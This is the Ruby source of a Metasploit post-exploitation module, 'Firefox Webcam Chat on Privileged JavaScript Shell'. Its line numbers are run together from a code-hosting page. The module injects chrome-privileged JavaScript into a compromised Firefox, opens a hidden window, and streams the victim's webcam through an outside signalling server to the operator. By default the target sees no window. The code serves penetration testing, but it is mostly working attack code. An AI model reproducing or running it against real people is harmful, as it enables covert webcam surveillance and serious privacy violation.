Path: blob/master/modules/post/firefox/manage/webcam_chat.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Exploit::Remote::FirefoxPrivilegeEscalation9include Msf::Post::WebRTC1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox Webcam Chat on Privileged JavaScript Shell',16'Description' => %q{17This module allows streaming a webcam from a privileged Firefox JavaScript shell.18},19'License' => MSF_LICENSE,20'Author' => [ 'joev' ],21'References' => [22[ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ]23],24'DisclosureDate' => '2014-05-13',25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [SCREEN_EFFECTS],28'Reliability' => []29}30)31)3233register_options([34OptBool.new('CLOSE', [false, 'Forcibly close previous chat session', false]),35OptBool.new('VISIBLE', [false, 'Show a window containing the chat to the target', false]),36OptInt.new('TIMEOUT', [false, 'End the chat session after this many seconds', -1]),37OptString.new('ICESERVER', [true, 'The ICE server that sets up the P2P connection', 'wsnodejs.jit.su:80'])38])39end4041def run42unless os_check43print_error 'Windows versions of Firefox are not supported at this time [RM #8810].'44return45end4647server = datastore['ICESERVER']48offerer_id = Rex::Text.rand_text_alphanumeric(10)49channel = Rex::Text.rand_text_alphanumeric(20)5051result = js_exec(js_payload(server, offerer_id, channel))5253if datastore['CLOSE']54print_status 'Stream closed.'55elsif result.present?56print_status result57connect_video_chat(server, channel, offerer_id)58else59print_warning 'No response received'60end61end6263def os_check64user_agent = js_exec(%|65return Components.classes["@mozilla.org/network/protocol;1?name=http"]66.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;67|)68user_agent !~ /windows/i69end7071def js_payload(server, offerer_id, channel)72interface = load_interface('offerer.html')73api = load_api_code7475interface.gsub!(/=SERVER=/, server)76interface.gsub!(/=CHANNEL=/, channel)77interface.gsub!(/=OFFERERID=/, offerer_id)7879if datastore['TIMEOUT'] > 080api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT'] * 1000}); "81end8283url = if datastore['CLOSE']84'"about:blank"'85else86'"data:text/html;base64,"+html'87end8889name = if datastore['VISIBLE']90Rex::Text.rand_text_alphanumeric(10)91else92'_self'93end9495%|96(function(send){97try {9899var AppShellService = Components100.classes["@mozilla.org/appshell/appShellService;1"]101.getService(Components.interfaces.nsIAppShellService);102103var html = "#{Rex::Text.encode_base64(interface)}";104var url = #{url};105AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');106send("Streaming webcam...");107108} catch (e) {109send(e);110}111})(this.send);112|113end114end115116117